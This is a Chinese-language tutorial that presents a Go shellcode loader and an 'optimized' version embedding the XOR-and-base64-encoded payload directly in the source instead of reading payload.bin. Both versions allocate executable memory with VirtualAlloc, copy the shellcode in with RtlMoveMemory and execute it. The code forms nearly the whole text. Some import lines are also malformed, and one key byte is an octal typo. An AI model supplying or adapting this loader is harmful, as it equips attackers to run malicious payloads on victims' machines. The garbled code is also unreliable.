Go语言Shellcode执行优化：直接执行加密Shellcode，无需加载文件

Go语言Shellcode执行优化：直接执行加密Shellcode，无需加载文件

本文将介绍一种Go语言Shellcode执行优化方法，通过直接执行加密的Shellcode，无需再次加载'payload.bin'文件，提升执行效率。

原始代码：

package main

import (
	"encoding/base64"
	io/ioutil"
	syscall"
	"time"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var XorKey = [][]byte{
	{0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B},
	{0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B},
	{0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B},
}

type CipherFunc func(key []byte, src []byte) []byte

func XorCipher(key []byte, src []byte) []byte {
	var dst []byte
	for i := 0; i < len(src); i++ {
		byteToEncode := src[i]
		for _, k := range key {
			byteToEncode ^= k
		}
		dst = append(dst, byteToEncode)
	}
	return dst
}

func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
	return cipher(key, src)
}

func Encode(src string) string {
	payloadBytes := []byte(src)
	encodedBytes := Crypt(XorCipher, XorKey[0], payloadBytes)
	bdata := base64.StdEncoding.EncodeToString(encodedBytes)
	return bdata
}

func Decode(src string) []byte {
	decodedBytes, _ := base64.StdEncoding.DecodeString(src)
	payloadBytes := Crypt(XorCipher, XorKey[0], decodedBytes)
	return payloadBytes
}

var (
	kernel32      = syscall.NewLazyDLL("kernel32.dll")
	ntdll         = syscall.NewLazyDLL("ntdll.dll")
	VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
)

func exec(charcode []byte) {
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	time.Sleep(5)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
	time.Sleep(5)
	syscall.Syscall(addr, 0, 0, 0, 0)
}

func readFile(filename string) []byte {
	data, _ := ioutil.ReadFile(filename)
	return data
}

func main() {
	payload := string(readFile("./payload.bin"))
	encodedPayload := Encode(payload)
	shellCodeHex := Decode(encodedPayload)
	exec(shellCodeHex)
}

优化后的代码：

package main

import (
	"encoding/base64"
	syscall"
	"time"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var XorKey = [][]byte{
	{0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B},
	{0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B},
	{0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B},
}

type CipherFunc func(key []byte, src []byte) []byte

func XorCipher(key []byte, src []byte) []byte {
	var dst []byte
	for i := 0; i < len(src); i++ {
		byteToEncode := src[i]
		for _, k := range key {
			byteToEncode ^= k
		}
		dst = append(dst, byteToEncode)
	}
	return dst
}

func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
	return cipher(key, src)
}

func Encode(src string) string {
	payloadBytes := []byte(src)
	encodedBytes := Crypt(XorCipher, XorKey[0], payloadBytes)
	bdata := base64.StdEncoding.EncodeToString(encodedBytes)
	return bdata
}

func Decode(src string) []byte {
	decodedBytes, _ := base64.StdEncoding.DecodeString(src)
	payloadBytes := Crypt(XorCipher, XorKey[0], decodedBytes)
	return payloadBytes
}

var (
	kernel32      = syscall.NewLazyDLL("kernel32.dll")
	ntdll         = syscall.NewLazyDLL("ntdll.dll")
	VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
)

func exec(charcode []byte) {
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	time.Sleep(5)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
	time.Sleep(5)
	syscall.Syscall(addr, 0, 0, 0, 0)
}

func main() {
	encodedPayload := "c2hlbGxDb2RlCnN0YXJ0Cg=="
	shellCodeHex := Decode(encodedPayload)
	exec(shellCodeHex)
}

代码修改说明：

1. 删除了 readFile 函数，不再从文件中读取'payload.bin'文件。
2. 将加密后的Shellcode直接以字符串形式存储在 encodedPayload 变量中。

优点：

• 提高执行效率，避免了文件读取操作。
• 代码更加简洁，易于维护。

注意：

• encodedPayload 变量中的字符串需要使用Base64编码后的加密Shellcode。
• XorCipher函数和加密密钥需要与原始代码保持一致。

总结：

通过直接执行加密的Shellcode，无需再次加载'payload.bin'文件，可以有效提高Shellcode执行效率。该方法适用于需要在运行时执行Shellcode的场景，例如恶意软件分析、漏洞利用等。